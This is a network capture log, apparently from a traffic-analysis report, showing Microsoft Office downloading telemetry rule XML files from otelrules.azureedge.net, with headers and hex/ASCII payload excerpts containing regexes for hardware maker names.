2024-11-22 16:09:50 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160950Z-178bfbc474bw8bwphC1NYC38b400000002y000000000t260 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.10	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:50 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160950Z-178bfbc474bpnd5vhC1NYC4vr4000000035000000000kmt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.10	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:50 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:51 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 57389be4-e01e-0003-606c-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160951Z-174c587ffdfmlsmvhC1TEBvyks00000001u000000000c6uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:51 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.10	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:52 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:53 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160953Z-178bfbc474bpnd5vhC1NYC4vr4000000037g00000000a6px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:53 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.10	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:52 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:53 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160953Z-174c587ffdfb485jhC1TEBmc1s00000001d000000000pzf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:53 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.10	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:53 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160953Z-174c587ffdfn4nhwhC1TEB2nbc00000001ug000000002m7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.10	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:53 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:53 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 52ac3eb7-c01e-0079-7e4e-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160953Z-15b8b599d88m7pn7hC1TEB4axw00000001pg00000000fc2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:53 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.10	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:53 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:54 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:54 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160954Z-178bfbc474bq2pr7hC1NYCkfgg00000003d0000000005ytb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:54 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.10	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:55 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:55 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160955Z-174c587ffdftjz9shC1TEBsh9800000001m00000000041zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:55 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.10	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:55 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160955Z-178bfbc474bbbqrhhC1NYCvw7400000003d0000000006h0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.10	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:55 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 74046e45-401e-000a-0635-3c4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160955Z-178bfbc474b9xljthC1NYCtw9400000002zg00000000vtbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.10	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:55 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:55 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160955Z-178bfbc474btvfdfhC1NYCa2en000000036000000000qfyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:55 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH 